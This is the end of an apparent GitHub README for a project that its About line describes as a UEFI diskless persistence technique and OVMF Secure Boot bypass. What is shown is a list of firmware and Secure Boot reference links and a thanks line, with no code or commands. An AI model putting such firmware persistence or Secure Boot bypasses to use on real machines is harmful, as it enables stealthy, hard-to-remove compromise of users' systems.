[8] https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/uefi-\
    validation-option-rom-validation-guidance?view=windows-10
[9] https://www.intel.com/content/www/us/en/support/articles/000005790/software/\
    manageability-products.html
[10] https://lkml.iu.edu/hypermail/linux/kernel/1509.2/06385.html
[11] https://edk2-docs.gitbook.io/understanding-the-uefi-secure-boot-chain/
[12] https://bsdio.com/edk2/docs/master/_boot_android_boot_img_8c_source.html
[13] https://edk2-docs.gitbook.io/edk-ii-uefi-driver-writer-s-guide/7_driver_entry_point/\
     72_uefi_driver_model
[14] https://edk2-docs.gitbook.io/edk-ii-uefi-driver-writer-s-guide/18_pci_driver_\
     design_guidelines/readme.3/1831_supported
[15] https://wiki.debian.org/SecureBoot/VirtualMachine

thank U to place and seer for helping me with this project ^_^

About

uefi diskless persistence technique + OVMF secureboot bypass

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published